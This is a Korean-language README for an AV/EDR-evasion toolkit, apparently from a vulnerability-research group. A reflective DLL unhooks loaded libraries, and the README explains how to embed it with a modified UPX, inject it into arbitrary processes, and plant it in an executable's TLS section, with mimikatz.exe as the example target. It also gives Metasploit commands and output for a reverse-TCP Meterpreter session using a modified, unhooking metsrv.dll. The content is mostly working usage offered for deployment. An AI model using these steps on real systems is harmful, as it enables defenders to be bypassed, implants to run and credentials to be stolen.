
프로세스 메모리를 스캔하고 로드된 라이브러리의 후킹을 해제하여 보안 소프트웨어를 회피하는 리플렉티브 DLL로, UPX, TLS 인젝터, Meterpreter 통합을 지원합니다.
DLLRefresher.exe는 프로세스의 메모리 공간을 스캔하고 현재 로드된 라이브러리의 후킹을 해제하기 위한 독립 실행형 테스트 하네스입니다.
패키징된 UPX 바이너리는 패킹된 바이너리에 임베드할 추가 매개변수(-X <path/to/target.dll>)를 지원하도록 수정되었습니다. 최종 UPX 패킹 바이너리는 메모리에서 대상 실행 파일의 압축을 풀고, 실행 파일의 원래 진입점으로 점프하기 전에 임베드된 DLL을 호출합니다.
수정된 UPX 소스는 https://github.com/CylanceVulnResearch/upx/tree/reflective_dll 에서 확인할 수 있습니다.
사용법:
upx -o <output filename> -X <path/to/embed.dll> <target executable>
예시:
upx -o packed_binary.exe -X ReflectiveDLL.x86.dll target_binary.exe
metsrv.dll(meterpreter 폴더의 관련 플러그인 포함)은 meterpreter 초기화를 실행하기 전에 현재 로드된 라이브러리의 후킹을 해제하는 수정된 meterpreter 서버입니다.
사용법:
meterpreter 폴더의 모든 DLL을 metasploit-framework/data/meterpreter/에 복사한 후 평소와 같이 대상에서 meterpreter를 실행합니다.
예시:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > run
[*] Started reverse TCP handler on 10.10.10.171:4444
[*] Starting the payload handler...
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/metsrv.x64.dll is being used
[*] Sending stage (1195055 bytes) to 10.10.10.186
[*] Meterpreter session 1 opened (10.10.10.171:4444 -> 10.10.10.186:58657) at 2016-10-03 10:07:39 -0400
WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_stdapi.x64.dll is being used
meterpreter > WARNING: Local file /usr/share/metasploit-framework/data/meterpreter/ext_server_priv.x64.dll is being used
Inject.exe는 주어진 DLL을 임의의 프로세스에 주입하기 위한 도우미 유틸리티입니다.
사용법:
Inject.exe <pid> <filename>
예시:
Inject.exe 2964 ReflectiveDLLRefresher.x86.dll
[+] Injected the 'ReflectiveDLLRefresher.x86.dll' DLL into process 2964.
DLL은 post/windows/manage/reflective_dll_inject 모듈을 사용하여 meterpreter 세션을 통해 주입할 수 있습니다.
사용법:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION <session-id>
msf post(reflective_dll_inject) > set PID <pid of meterpreter session>
msf post(reflective_dll_inject) > run
예시:
msf > use post/windows/manage/reflective_dll_inject
msf post(reflective_dll_inject) > set PATH /path/to/ReflectiveDLLRefresher.x86.dll
msf post(reflective_dll_inject) > set SESSION 1
msf post(reflective_dll_inject) > set PID 4068
msf post(reflective_dll_inject) > run
[*] Running module against WIN10DEV
[*] Injecting /root/ReflectiveDLLRefresher.x86.dll into 4068 ...
[*] DLL injected. Executing ReflectiveLoader ...
[+] DLL injected and invoked.
[*] Post module execution completed
tlsInjector.py는 리플렉티브 DLL 주입을 지원하도록 수정된 Borja Merino의 스크립트 버전입니다. 리플렉티브 DLL을 받아 32비트 실행 파일의 TLS 섹션에 주입합니다(64비트는 지원되지 않음).
사용법:
python tlsInjector.py -l <path/to/embed.dll> -f <target executable> -o <output filename> -t
예시:
python tlsInjector.py -l ReflectiveDLLRefresher.x86.dll -f mimikatz.exe -o mimikatz_tls.exe -t